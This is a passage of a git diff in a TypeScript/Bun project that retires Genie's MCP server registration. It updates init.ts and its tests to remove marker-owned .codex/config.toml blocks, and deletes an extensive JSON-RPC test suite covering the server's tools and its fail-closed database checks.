'config.toml'); - mkdirSync(join(dir, '.codex'), { recursive: true }); - writeFileSync( - path, - 'model = "x"\n\n# BEGIN GENIE MCP FALLBACK\n[mcp_servers.genie]\ncommand = "/g"\nargs = ["mcp"]\n# END GENIE MCP FALLBACK\n\n[mcp_servers.other]\ncommand = "x"\n', - ); - expect(removeCodexMcpFallback(path)).toBe('updated'); - const updated = readFileSync(path, 'utf8'); - expect(updated).not.toContain('GENIE MCP FALLBACK'); - expect(updated).toContain('[mcp_servers.other]'); - }); -}); - // ============================================================================ // Marker-owned Codex route — plugin- and delivery-independent (Group A) // ============================================================================ @@ -319,39 +247,17 @@ function runInitWithHome(cwd: string, genieHome: string): { code: number; stderr return { code: res.exitCode, stderr: res.stderr.toString() }; } -describe('init marker-owned Codex route', () => { - test('writes the stable <GENIE_HOME>/bin/genie facade with args ["mcp"] and no cwd override', () => { +describe('init marker-owned Codex retirement', () => { + test('removes an owned marker and preserves unrelated TOML', () => { initGitRepo(dir); - const home = join(dir, 'home-a'); - expect(runInitWithHome(dir, home).code).toBe(0); - const toml = readFileSync(join(dir, '.codex', 'config.toml'), 'utf8'); - expect(toml).toContain('# BEGIN GENIE MCP FALLBACK'); - // The marker command is the canonical stable facade, never a versioned cache path. - expect(toml).toContain(`mcp_servers.genie.command = "${join(home, 'bin', 'genie')}"`); - expect(toml).toContain('mcp_servers.genie.args = ["mcp"]'); - // No effective cwd override is written. - expect(toml).not.toContain('cwd'); - }); - - test('is created even with no Codex CLI present (plugin- and delivery-independent)', () => { - initGitRepo(dir); - // Default runInit already strips codex from PATH; the marker must still exist. - expect(runInit(dir).code).toBe(0); - expect(existsSync(join(dir, '.codex', 'config.toml'))).toBe(true); - expect(readFileSync(join(dir, '.codex', 'config.toml'), 'utf8')).toContain('mcp_servers.genie'); - }); - - test('an explicit GENIE_HOME relocation is reconciled to the new facade by init', () => { - initGitRepo(dir); - const homeA = join(dir, 'home-a'); - const homeB = join(dir, 'home-b'); - expect(runInitWithHome(dir, homeA).code).toBe(0); - expect(runInitWithHome(dir, homeB).code).toBe(0); - const toml = readFileSync(join(dir, '.codex', 'config.toml'), 'utf8'); - expect(toml).toContain(`mcp_servers.genie.command = "${join(homeB, 'bin', 'genie')}"`); - expect(toml).not.toContain(join(homeA, 'bin', 'genie')); - // Exactly one owned marker block — reconciliation never duplicates. - expect(toml.match(/BEGIN GENIE MCP FALLBACK/g)).toHaveLength(1); + const codexPath = join(dir, '.codex', 'config.toml'); + mkdirSync(join(dir, '.codex'), { recursive: true }); + writeFileSync( + codexPath, + '# BEGIN GENIE MCP FALLBACK\nmcp_servers.genie.command = "/g"\nmcp_servers.genie.args = ["mcp"]\n# END GENIE MCP FALLBACK\n\nmodel = "x"\n', + ); + expect(runInitWithHome(dir, join(dir, 'home')).code).toBe(0); + expect(readFileSync(codexPath, 'utf8')).toBe('model = "x"\n'); }); test('an unowned same-key Codex route is preserved byte-for-byte and reported, never overwritten', () => { @@ -360,12 +266,10 @@ describe('init marker-owned Codex route', () => { mkdirSync(join(dir, '.codex'), { recursive: true }); const personal = '[mcp_servers.genie]\ncommand = "/my/own/genie"\nargs = ["mcp"]\n'; writeFileSync(codexPath, personal); - const { code, stderr } = runInitWithHome(dir, join(dir, 'home-a')); - expect(code).toBe(1); - expect(stderr.toLowerCase()).toMatch(/unverified|preserved/); - // The user file is untouched, and no scaffold leaked past the collision. + const { code } = runInitWithHome(dir, join(dir, 'home-a')); + expect(code).toBe(0); expect(readFileSync(codexPath, 'utf8')).toBe(personal); - expect(existsSync(join(dir, '.genie', 'INDEX.md'))).toBe(false); + expect(existsSync(join(dir, '.genie', 'INDEX.md'))).toBe(true); }); test('init.ts never mints an assertion/permit and never touches the lifecycle lease or delivery', () => { diff --git a/src/term-commands/init.ts b/src/term-commands/init.ts index 0b21eebc8..3570eff2f 100644 --- a/src/term-commands/init.ts +++ b/src/term-commands/init.ts @@ -3,9 +3,8 @@ * * Bootstraps the things a fresh repo needs before the genie lifecycle can run: * the plans jar (`.genie/INDEX.md`), the `.gitignore` rules that keep the - * SQLite state files out of version control, and the MCP server registration - * that lets Claude Code discover the `genie mcp` server (read + write - * tools). Every + * SQLite state files out of version control, and retirement of historical + * Genie-owned MCP registrations. Every * step is idempotent — re-running `genie init` on an already-scaffolded repo * produces zero diff. * @@ -18,16 +17,10 @@ import type { Command } from 'commander'; import { type ArtifactAction, type McpConfigResult, - type RegisterProjectMcpOptions, - genieFacadeMcpEntry, - mergeCodexMcpFallback, - registerProjectMcpConfigs, - removeCodexMcpFallback, resolveGitWorktreeRoot, + retireProjectMcpConfigs, } from '../lib/codex-project-mcp.js'; -export { mergeCodexMcpFallback, removeCodexMcpFallback }; - // ============================================================================ // Output helpers (process.stdout/stderr — no console.* in source) // ============================================================================ @@ -133,13 +126,9 @@ function scaffoldGitignore(root: string): { action: ArtifactAction; added: strin return { action: exists ? 'updated' : 'created', added: missing }; } -/** - * Register the `genie mcp` server into the project-scope `<root>/.mcp.json` - * config (Claude Code). The merge is idempotent and preserves existing - * servers. - */ -export function registerMcpConfigs(root: string, options: RegisterProjectMcpOptions = {}): McpConfigResult[] { - return registerProjectMcpConfigs(root, options); +/** Retire only project MCP registrations whose Genie ownership is proven. */ +export function retireMcpConfigs(root: string): McpConfigResult[] { + return retireProjectMcpConfigs(root); } // ============================================================================ @@ -169,7 +158,7 @@ function printHumanReport(result: InitResult): void { out(` ${mcpConfigLabel(cfg.path)} ${actionLabel(cfg.action)}`); } out(''); - out('Claude Code and Codex will discover the `genie mcp` server (read + write tools).'); + out('Legacy Genie-owned MCP registrations are retired; standalone `genie task` and `genie board` remain available.'); out(''); out('Next steps — Claude uses /<skill>; the Codex plugin uses owner-qualified $genie:<skill>:'); out(' 1. /brainstorm or $genie:brainstorm Explore a fuzzy idea into a DESIGN.md'); @@ -200,10 +189,9 @@ function handleInit(opts: InitOptions): void { // journal, plugin-enabled, agent, or cache state. A route name is not proof of // ownership, so an unmanaged same-key route is preserved and reported. // - // MCP config is planned and schema-checked before any scaffold mutation, so a - // wrong-shaped existing JSON file fails without leaving a new INDEX or - // gitignore rules behind. - const mcp = registerMcpConfigs(root, { codexEntry: genieFacadeMcpEntry(), forceCodexFallback: true }); + // `.mcp.json` has no ownership marker and is therefore never parsed or + // changed; only the explicit Codex marker block is eligible for retirement. + const mcp = retireMcpConfigs(root); const index = scaffoldIndex(root); const gitignore = scaffoldGitignore(root); const result: InitResult = { root, index, gitignore: gitignore.action, rulesAdded: gitignore.added, mcp }; @@ -223,9 +211,7 @@ function handleInit(opts: InitOptions): void { export function registerInitCommand(program: Command): void { program .command('init') - .description( - 'Initialize Genie state and reconcile project MCP routing (.mcp.json and the marker-owned .codex/config.toml)', - ) + .description('Initialize Genie state, preserve .mcp.json, and retire marker-owned .codex/config.toml routing') .option('--json', 'Emit the created/skipped result as JSON') .action((opts: InitOptions) => handleInit(opts)); } diff --git a/src/term-commands/mcp.test.ts b/src/term-commands/mcp.test.ts index d31731bb1..3ff3e7b13 100644 --- a/src/term-commands/mcp.test.ts +++ b/src/term-commands/mcp.test.ts @@ -1,1201 +1,27 @@ -/** - * genie mcp — CLI-level tests. Drives the real `genie.ts mcp` stdio server as a - * subprocess (as an MCP client would), speaking newline-delimited JSON-RPC 2.0, - * against throwaway git-repo fixtures seeded via the real v5 state layer. - * - * Also asserts the LAZY-LOAD contract with a static import-graph probe: the - * `bun:sqlite` opens in `mcp-tools.ts` must NOT be reachable from `genie.ts` - * except through the dynamic `import()` inside the `mcp` action. - */ - -import { Database } from 'bun:sqlite'; -import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; -import { execFileSync } from 'node:child_process'; -import { createHash } from 'node:crypto'; -import { - accessSync, - chmodSync, - existsSync, - constants as fsConstants, - mkdirSync, - mkdtempSync, - readFileSync, - rmSync, - statSync, - symlinkSync, - writeFileSync, -} from 'node:fs'; -import { tmpdir } from 'node:os'; -import { dirname, join, resolve } from 'node:path'; -import { openDb, resolveDbPath } from '../lib/v5/genie-db.js'; -import { DEFAULT_LIFECYCLE_LANES, createBoard, createTask, getTaskEvents, getTaskLane } from '../lib/v5/task-state.js'; +import { describe, expect, test } from 'bun:test'; +import { join } from 'node:path'; const GENIE = join(import.meta.dir, '..', 'genie.ts'); -const SRC_ROOT = resolve(import.meta.dir, '..'); - -// ============================================================================ -// Fixtures -// ============================================================================ - -let repo: string; - -function git(cwd: string, ...args: string[]): void { - execFileSync('git', args, { - cwd, - stdio: 'ignore', - env: { - ...process.env, - GIT_AUTHOR_NAME: 'Test', - GIT_AUTHOR_EMAIL: 'test@example.com', - GIT_COMMITTER_NAME: 'Test', - GIT_COMMITTER_EMAIL: 'test@example.com', - }, - }); -} - -beforeEach(() => { - repo = mkdtempSync(join(tmpdir(), 'genie-mcp-')); - git(repo, 'init', '-b', 'main'); - git(repo, 'commit', '--allow-empty', '-m', 'init'); -}); - -afterEach(() => { - rmSync(repo, { recursive: true, force: true }); -}); - -// ============================================================================ -// JSON-RPC driver — write all requests, close stdin, collect response lines. -// ============================================================================ - -interface RpcResponse { - jsonrpc: '2.0'; - id: number | string | null; - result?: Record<string, unknown>; - error?: { code: number; message: string }; -} - -async function driveMcp(cwd: string, requests: Record<string, unknown>[]): Promise<RpcResponse[]> { - const proc = Bun.spawn(['bun', GENIE, 'mcp'], { - cwd, - stdin: 'pipe', - stdout: 'pipe', - stderr: 'pipe', - env: { ...process.env, NO_COLOR: '1', GENIE_TEST_SKIP_PGSERVE: '1' }, - }); - const payload = `${requests.map((r) => JSON.stringify(r)).join('\n')}\n`; - proc.stdin.write(payload); - await proc.stdin.end(); - const stdout = await new Response(proc.stdout).text(); - await proc.exited; - return stdout - .split('\n') - .filter((l) => l.trim().length > 0) - .map((l) => JSON.parse(l) as RpcResponse); -} - -/** - * Drive ONE live `genie mcp` session in two stages, running `between` after the - * first batch's responses have landed. Sending everything up front (driveMcp) - * cannot express a filesystem that changes MID-session, which is exactly what a - * degraded-then-repaired server has to survive. - */ -async function driveMcpStaged( - cwd: string, - first: Record<string, unknown>[], - expectedFirstLines: number, - between: () => void, - second: Record<string, unknown>[], -): Promise<RpcResponse[]> { - const proc = Bun.spawn(['bun', GENIE, 'mcp'], { - cwd, - stdin: 'pipe', - stdout: 'pipe', - stderr: 'pipe', - env: { ...process.env, NO_COLOR: '1', GENIE_TEST_SKIP_PGSERVE: '1' }, - }); - const reader = proc.stdout.getReader(); - const decoder = new TextDecoder(); - let buffered = ''; - // Only COMPLETE lines count: a half-arrived line is not a response yet. - const complete = (): string[] => - buffered - .split('\n') - .slice(0, -1) - .filter((l) => l.trim().length > 0); - - proc.stdin.write(`${first.map((r) => JSON.stringify(r)).join('\n')}\n`); - proc.stdin.flush(); - while (complete().length < expectedFirstLines) { - const { value, done } = await reader.read(); - if (done) break; - buffered += decoder.decode(value, { stream: true }); - } - between(); - proc.stdin.write(`${second.map((r) => JSON.stringify(r)).join('\n')}\n`); - await proc.stdin.end(); - for (;;) { - const { value, done } = await reader.read(); - if (done) break; - buffered += decoder.decode(value, { stream: true }); - } - await proc.exited; - return complete().map((l) => JSON.parse(l) as RpcResponse); -} - -/** Like driveMcp but sends raw (already-serialized) lines — for malformed input. */ -async function driveMcpRaw(cwd: string, rawLines: string[]): Promise<RpcResponse[]> { - const proc = Bun.spawn(['bun', GENIE, 'mcp'], { - cwd, - stdin: 'pipe', - stdout: 'pipe', - stderr: 'pipe', - env: { ...process.env, NO_COLOR: '1', GENIE_TEST_SKIP_PGSERVE: '1' }, - }); - proc.stdin.write(`${rawLines.join('\n')}\n`); - await proc.stdin.end(); - const stdout = await new Response(proc.stdout).text(); - await proc.exited; - return stdout - .split('\n') - .filter((l) => l.trim().length > 0) - .map((l) => JSON.parse(l) as RpcResponse); -} - -const INIT = { - jsonrpc: '2.0', - id: 1, - method: 'initialize', - params: { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 't', version: '0' } }, -}; -const INITIALIZED = { jsonrpc: '2.0', method: 'notifications/initialized' }; - -/** Parse the JSON text payload out of a tools/call result envelope. */ -function toolPayload<T>(res: RpcResponse): T { - const content = (res.result?.content as Array<{ type: string; text: string }>) ?? []; - return JSON.parse(content[0].text) as T; -} - -function seed(cwd: string): { taskId: string } { - const db = openDb({ cwd }); - const board = createBoard(db, 'repo'); - const t = createTask(db, { title: 'seed task', boardId: board.id, wish: 'genie-mcp', group: 'g2' }); - createTask(db, { title: 'other', boardId: board.id }); - // Fold pending WAL frames into the main db before the reader subprocess opens, - // so the `genie mcp` server isn't racing an open WAL writer under - // cross-file test contention ("database is locked"). - db.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - db.close(); - return { taskId: t.id }; -} - -function fileContentHash(path: string): string { - return createHash('sha256').update(readFileSync(path)).digest('hex'); -} - -// ============================================================================ -// Handshake -// ============================================================================ - -describe('mcp handshake', () => { - test('a bare `null` / primitive line is dropped and does not crash the server', async () => { - // `JSON.parse('null')` is valid JSON but not a JSON-RPC object; without the - // non-object guard, dispatch(null) throws on null.id and the server crashes. - const res = await driveMcpRaw(repo, ['null', '5', 'true', '"str"', JSON.stringify(INIT)]); - // The malformed lines are silently dropped; the server survives + answers initialize. - expect(res.some((r) => r.id === 1 && (r.result as { serverInfo?: unknown })?.serverInfo)).toBe(true); - }); - - test('initialize replies with protocolVersion, tools capability, and serverInfo', async () => { - const [res] = await driveMcp(repo, [INIT]); - expect(res.id).toBe(1); - expect(res.result?.protocolVersion).toBe('2024-11-05'); - expect(res.result?.capabilities).toEqual({ tools: {} }); - const serverInfo = res.result?.serverInfo as { name: string; version: string }; - expect(serverInfo.name).toBe('genie'); - expect(typeof serverInfo.version).toBe('string'); - }); - - test('notifications/initialized gets NO reply', async () => { - // Two ids (init, ping) + the notification → exactly two responses. - const responses = await driveMcp(repo, [INIT, INITIALIZED, { jsonrpc: '2.0', id: 2, method: 'ping' }]); - expect(responses.map((r) => r.id)).toEqual([1, 2]); - }); - - test('unknown method with an id → JSON-RPC -32601', async () => { - const responses = await driveMcp(repo, [INIT, { jsonrpc: '2.0', id: 9, method: 'bogus/method' }]); - const bogus = responses.find((r) => r.id === 9); - expect(bogus?.error?.code).toBe(-32601); - }); -}); - -// ============================================================================ -// tools/list -// ============================================================================ +const RETIRED_DIAGNOSTIC = + 'Error: genie mcp has been retired; use `genie task` and `genie board`, or roll back to a pre-A7 signed release.\n'; -describe('mcp tools/list', () => { - test('lists exactly the 5 read tools + 12 write tools with input schemas', async () => { - const responses = await driveMcp(repo, [INIT, INITIALIZED, { jsonrpc: '2.0', id: 2, method: 'tools/list' }]); - const list = responses.find((r) => r.id === 2); - const tools = list?.result?.tools as Array<{ name: string; inputSchema: unknown }>; - expect(tools.map((t) => t.name).sort()).toEqual([ - 'genie_active', - 'genie_board', - 'genie_task', - 'genie_task_add_dependency', - 'genie_task_block', - 'genie_task_checkout', - 'genie_task_comment', - 'genie_task_create', - 'genie_task_done', - 'genie_task_heartbeat', - 'genie_task_move', - 'genie_task_release', - 'genie_task_report', - 'genie_task_set_wish', - 'genie_task_unblock', - 'genie_wish_status', - 'genie_worktree_context', - ]); - for (const t of tools) expect(t.inputSchema).toBeDefined(); - }); -}); - -// ============================================================================ -// tools/call — real state -// ============================================================================ - -describe('mcp tools/call', () => { - test('genie_board reflects real seeded db state', async () => { - seed(repo); - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id: 3, method: 'tools/call', params: { name: 'genie_board', arguments: {} } }, - ]); - const res = responses.find((r) => r.id === 3); - expect(res?.result?.isError).toBe(false); - const payload = toolPayload<{ counts: { total: number; ready: number }; tasks: Array<{ wish: string }> }>(res!); - expect(payload.counts.total).toBe(2); - expect(payload.counts.ready).toBe(2); - expect(payload.tasks.some((t) => t.wish === 'genie-mcp')).toBe(true); - }); - - test('genie_board stays read-only with a divergent sync-owned card in an immutable database', async () => { - const wishDir = join(repo, '.genie', 'wishes', 'mcp-read-only'); - mkdirSync(wishDir, { recursive: true }); - writeFileSync(join(wishDir, 'WISH.md'), '| **Status** | DONE |\n'); - - const dbPath = resolveDbPath(repo); - const sqlitePaths = [dbPath, `${dbPath}-wal`, `${dbPath}-shm`]; - const stateDir = dirname(dbPath); - const db = openDb({ cwd: repo }); - const originalModes = new Map<string, number>(); - const mutatedModes = new Set<string>(); - const beforeHashes = new Map<string, string>(); - const cleanupErrors: unknown[] = []; - let testError: unknown; - - try { - const roadmap = createBoard(db, 'roadmap', DEFAULT_LIFECYCLE_LANES); - const task = createTask(db, { - title: 'divergent sync-owned card', - boardId: roadmap.id, - lane: 'Idea', - wish: 'mcp-read-only', - }); - expect(getTaskLane(db, task.id)).toBe('Idea'); - expect(getTaskEvents(db, task.id)).toHaveLength(0); - - for (const path of sqlitePaths) { - expect(existsSync(path)).toBe(true); - beforeHashes.set(path, fileContentHash(path)); - originalModes.set(path, statSync(path).mode & 0o777); - mutatedModes.add(path); - chmodSync(path, 0o444); - expect(statSync(path).mode & 0o777).toBe(0o444); - } - originalModes.set(stateDir, statSync(stateDir).mode & 0o777); - mutatedModes.add(stateDir); - chmodSync(stateDir, 0o555); - expect(statSync(stateDir).mode & 0o777).toBe(0o555); - - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id: 31, method: 'tools/call', params: { name: 'genie_board', arguments: {} } }, - ]); - - const response = responses.find((entry) => entry.id === 31); - expect(response?.result?.isError).toBe(false); - const payload = toolPayload<{ tasks: Array<{ id: string; wish: string }> }>(response!); - expect(payload.tasks).toContainEqual(expect.objectContaining({ id: task.id, wish: 'mcp-read-only' })); - expect(getTaskLane(db, task.id)).toBe('Idea'); - expect(getTaskEvents(db, task.id)).toHaveLength(0); - - for (const path of sqlitePaths) { - expect(existsSync(path)).toBe(true); - expect(fileContentHash(path)).toBe(beforeHashes.get(path)!); - } - } catch (error) { - testError = error; - } finally { - for (const path of [stateDir, ...sqlitePaths]) { - if (!mutatedModes.has(path)) continue; - try { - chmodSync(path, originalModes.get(path)!); - } catch (error) { - cleanupErrors.push(error); - } - } - try { - db.close(); - } catch (error) { - cleanupErrors.push(error); - } - } - if (testError !== undefined && cleanupErrors.length > 0) { - throw new AggregateError([testError, ...cleanupErrors], 'MCP proof failed and fixture cleanup was incomplete'); - } - if (testError !== undefined) throw testError; - if (cleanupErrors.length > 0) throw new AggregateError(cleanupErrors, 'Failed to restore immutable SQLite fixture'); - }); - - test('genie_wish_status returns a literal empty groups array plus the wish tasks', async () => { - seed(repo); - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { - jsonrpc: '2.0', - id: 4, - method: 'tools/call', - params: { name: 'genie_wish_status', arguments: { wish: 'genie-mcp' } }, - }, - ]); - const payload = toolPayload<{ wish: string; groups: Array<{ name: string; status: string; dependsOn: string[] }> }>( - responses.find((r) => r.id === 4)!, - ); - expect(payload.wish).toBe('genie-mcp'); - // Wish-group machinery is production-dead — groups is a hardcoded []. - expect(payload.groups).toEqual([]); - }); - - test('genie_task returns full detail by id, or not_found', async () => { - const { taskId } = seed(repo); - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id: 5, method: 'tools/call', params: { name: 'genie_task', arguments: { id: taskId } } }, - { jsonrpc: '2.0', id: 6, method: 'tools/call', params: { name: 'genie_task', arguments: { id: 't_nope' } } }, - ]); - const found = toolPayload<{ id: string; title: string }>(responses.find((r) => r.id === 5)!); - expect(found.id).toBe(taskId); - expect(found.title).toBe('seed task'); - const missingRes = responses.find((r) => r.id === 6)!; - // An `error`-keyed payload is DATA, not the error channel: stays isError false. - expect(missingRes.result?.isError).toBe(false); - const missing = toolPayload<{ error: string; id: string }>(missingRes); - expect(missing).toEqual({ error: 'not_found', id: 't_nope' }); - }); - - test('genie_worktree_context resolves a wish/<slug>-<group> branch', async () => { - seed(repo); - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { - jsonrpc: '2.0', - id: 7, - method: 'tools/call', - params: { name: 'genie_worktree_context', arguments: { branch: 'wish/genie-mcp-g2' } }, - }, - ]); - const payload = toolPayload<{ resolved: boolean; wish: string; group: string; tasks: Array<{ group: string }> }>( - responses.find((r) => r.id === 7)!, - ); - expect(payload.resolved).toBe(true); - expect(payload.wish).toBe('genie-mcp'); - expect(payload.group).toBe('g2'); - expect(payload.tasks.every((t) => t.group === 'g2')).toBe(true); - }); - - test('genie_worktree_context falls back to unresolved on a non-wish branch', async () => { - seed(repo); - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { - jsonrpc: '2.0', - id: 8, - method: 'tools/call', - params: { name: 'genie_worktree_context', arguments: { branch: 'main' } }, - }, - ]); - const payload = toolPayload<{ resolved: boolean; wish: null; tasks: unknown[] }>( - responses.find((r) => r.id === 8)!, - ); - expect(payload.resolved).toBe(false); - expect(payload.wish).toBeNull(); - expect(payload.tasks.length).toBe(2); // repo-board fallback: all tasks - }); - - test('genie_active lists in-progress tasks with claimant', async () => { - const { taskId } = seed(repo); - // Claim the seed task so it becomes in_progress. - const db = openDb({ cwd: repo }); - db.query("UPDATE tasks SET status='in_progress', claimed_by='worker-1', claimed_at=? WHERE id=?").run( - Date.now(), - taskId, - ); - db.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - db.close(); - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id: 10, method: 'tools/call', params: { name: 'genie_active', arguments: {} } }, - ]); - const payload = toolPayload<{ tasks: Array<{ id: string; claimedBy: string; status: string }> }>( - responses.find((r) => r.id === 10)!, - ); - expect(payload.tasks).toHaveLength(1); - expect(payload.tasks[0].id).toBe(taskId); - expect(payload.tasks[0].claimedBy).toBe('worker-1'); - expect(payload.tasks[0].status).toBe('in_progress'); - }); - - test('unknown tool name → isError result (not a protocol error)', async () => { - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id: 11, method: 'tools/call', params: { name: 'genie_nope', arguments: {} } }, - ]); - const res = responses.find((r) => r.id === 11); - expect(res?.error).toBeUndefined(); - expect(res?.result?.isError).toBe(true); - const payload = toolPayload<{ error: string; name: string }>(res!); - expect(payload).toEqual({ error: 'unknown_tool', name: 'genie_nope' }); - }); -}); - -// ============================================================================ -// Backward-compat: the runtime layer is additive-only over the MCP surface -// ============================================================================ - -describe('mcp runtime-layer backward compatibility', () => { - test('genie_task keeps the frozen TaskRow shape — no runtime/lane fields leak', async () => { - const { taskId } = seed(repo); - // Add runtime state (block + claim) and a declared routing so a leak would - // actually surface if any. - const db = openDb({ cwd: repo }); - db.query( - "UPDATE tasks SET blocked_by='x', blocked_reason='r', heartbeat_at=1, agent_kind='codex', lane='Idea', assigned_agent='codex', assigned_reason='routed' WHERE id=?", - ).run(taskId); - db.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - db.close(); - - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id: 40, method: 'tools/call', params: { name: 'genie_task', arguments: { id: taskId } } }, - ]); - const task = toolPayload<Record<string, unknown>>(responses.find((r) => r.id === 40)!); - // The projection is byte-frozen: exactly the pre-assignment TaskRow keys. - expect(Object.keys(task).sort()).toEqual([ - 'boardId', - 'claimedAt', - 'claimedBy', - 'createdAt', - 'group', - 'id', - 'status', - 'title', - 'updatedAt', - 'wish', - ]); - for (const leaked of [ - 'lane', - 'agentKind', - 'heartbeatAt', - 'blockedBy', - 'blockedReason', - 'assignedAgent', - 'assignedReason', - ]) { - expect(leaked in task).toBe(false); - } - }); - - test('genie_board task summaries carry no runtime fields', async () => { - seed(repo); - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id: 41, method: 'tools/call', params: { name: 'genie_board', arguments: {} } }, - ]); - const payload = toolPayload<{ tasks: Array<Record<string, unknown>> }>(responses.find((r) => r.id === 41)!); - expect(payload.tasks.length).toBeGreaterThan(0); - for (const summary of payload.tasks) { - for (const leaked of ['lane', 'agentKind', 'heartbeatAt', 'blockedBy', 'blockedReason']) { - expect(leaked in summary).toBe(false); - } - } - }); -}); - -// ============================================================================ -// Fail-closed: a missing genie.db is a typed error, never an empty board -// ============================================================================ - -describe('mcp missing-database fail-closed', () => { - function seedRawDatabase(sql: string): string { - const dbPath = join(repo, '.genie', 'genie.db'); - mkdirSync(dirname(dbPath), { recursive: true }); - const db = new Database(dbPath); - db.exec(sql); - db.close(); - return dbPath; - } - - async function expectProjectDatabaseUnavailable(id: number): Promise<{ error: string; detail: string }> { - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id, method: 'tools/call', params: { name: 'genie_board', arguments: {} } }, - ]); - const response = responses.find((candidate) => candidate.id === id); - expect(response?.error).toBeUndefined(); - expect(response?.result?.isError).toBe(true); - const payload = toolPayload<{ error: string; detail: string }>(response!); - expect(payload.error).toBe('project-database-unavailable'); - expect(payload.detail).toContain(join(repo, '.genie', 'genie.db')); - expect(payload).not.toHaveProperty('counts'); - expect(payload).not.toHaveProperty('tasks'); - return payload; - } - - test('genie_board on a git repo with no genie.db returns project-database-unavailable, not empty success', async () => { - // Fresh git repo, never seeded → no .genie/genie.db. The old behavior served - // a healthy-looking empty board (the masquerade); Group A returns a typed error. - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id: 12, method: 'tools/call', params: { name: 'genie_board', arguments: {} } }, - ]); - const res = responses.find((r) => r.id === 12); - expect(res?.result?.isError).toBe(true); - const payload = toolPayload<{ error: string; detail: string }>(res!); - expect(payload.error).toBe('project-database-unavailable'); - // The error names the exact storage-root DB candidate, never a cache path. - expect(payload.detail).toContain('.genie/genie.db'); - expect(payload).not.toHaveProperty('counts'); - expect(payload).not.toHaveProperty('tasks'); - }); - - test('every read tool fails closed identically when the database is absent', async () => { - const calls = [ - { id: 13, name: 'genie_board', arguments: {} }, - { id: 14, name: 'genie_wish_status', arguments: { wish: 'x' } }, - { id: 15, name: 'genie_worktree_context', arguments: { branch: 'main' } }, - { id: 16, name: 'genie_task', arguments: { id: 't_1' } }, - { id: 17, name: 'genie_active', arguments: {} }, - ]; - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - ...calls.map((c) => ({ - jsonrpc: '2.0', - id: c.id, - method: 'tools/call', - params: { name: c.name, arguments: c.arguments }, - })), - ]); - for (const c of calls) { - const res = responses.find((r) => r.id === c.id); - expect(res?.result?.isError).toBe(true); - expect(toolPayload<{ error: string }>(res!).error).toBe('project-database-unavailable'); - } - }); - - for (const fixture of ['directory', 'malformed-file'] as const) { - test(`genie_board fails closed when genie.db is an existing ${fixture}`, async () => { - const dbPath = join(repo, '.genie', 'genie.db'); - mkdirSync(join(repo, '.genie'), { recursive: true }); - if (fixture === 'directory') mkdirSync(dbPath); - else writeFileSync(dbPath, 'not a sqlite database'); - - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id: 18, method: 'tools/call', params: { name: 'genie_board', arguments: {} } }, - ]); - const res = responses.find((response) => response.id === 18); - expect(res?.result?.isError).toBe(true); - const payload = toolPayload<{ error: string; detail: string }>(res!); - expect(payload.error).toBe('project-database-unavailable'); - expect(payload.detail).toContain(dbPath); - expect(payload).not.toHaveProperty('counts'); - expect(payload).not.toHaveProperty('tasks'); - }); - } - - for (const alias of ['genie-directory', 'database-file'] as const) { - test(`genie_board rejects a ${alias} symlink to another valid repository database`, async () => { - const other = mkdtempSync(join(tmpdir(), 'genie-mcp-alias-')); - git(other, 'init', '-b', 'main'); - git(other, 'commit', '--allow-empty', '-m', 'init'); - seed(other); - try { - if (alias === 'genie-directory') { - symlinkSync(join(other, '.genie'), join(repo, '.genie'), 'dir'); - } else { - mkdirSync(join(repo, '.genie')); - symlinkSync(join(other, '.genie', 'genie.db'), join(repo, '.genie', 'genie.db'), 'file'); - } - - const payload = await expectProjectDatabaseUnavailable(alias === 'genie-directory' ? 51 : 52); - expect(payload.detail).toContain(alias === 'genie-directory' ? 'physical directory' : 'physical regular file'); - } finally { - rmSync(other, { recursive: true, force: true }); - } - }); - } - - test('rejects a foreign-version database with a lookalike tasks table instead of exposing its rows', async () => { - seedRawDatabase(` - CREATE TABLE tasks ( - id TEXT PRIMARY KEY, - board_id TEXT, - title TEXT NOT NULL, - status TEXT NOT NULL, - claimed_by TEXT, - claimed_at INTEGER, - wish TEXT, - group_name TEXT, - created_at INTEGER NOT NULL, - updated_at INTEGER NOT NULL - ); - INSERT INTO tasks VALUES ('foreign', NULL, 'attacker row', 'ready', NULL, NULL, NULL, NULL, 1, 1); - PRAGMA user_version = 99; - `); - - await expectProjectDatabaseUnavailable(50); - }); - - test('rejects a user_version=0 foreign SQLite database as a structured project database error', async () => { - seedRawDatabase( - "CREATE TABLE inventory (id TEXT PRIMARY KEY, secret TEXT); INSERT INTO inventory VALUES ('x', 'y')", - ); - - await expectProjectDatabaseUnavailable(51); - }); - - test('rejects a current-version database whose required Genie schema is incomplete', async () => { - seedRawDatabase(` - CREATE TABLE tasks (id TEXT PRIMARY KEY, title TEXT NOT NULL, status TEXT NOT NULL, created_at INTEGER NOT NULL); - PRAGMA user_version = 1; - `); - - await expectProjectDatabaseUnavailable(52); - }); - - test('reopens a genuine current db created AFTER the server started (no stale empty board)', async () => { - // Server starts against a repo with no genie.db (null handle), THEN the db - // is created mid-session — a per-call reopen must pick it up, not serve empty. - const proc = Bun.spawn(['bun', GENIE, 'mcp'], { - cwd: repo, - stdin: 'pipe', - stdout: 'pipe', - stderr: 'pipe', - env: { ...process.env, NO_COLOR: '1', GENIE_TEST_SKIP_PGSERVE: '1' }, - }); - const reader = proc.stdout.getReader(); - const decoder = new 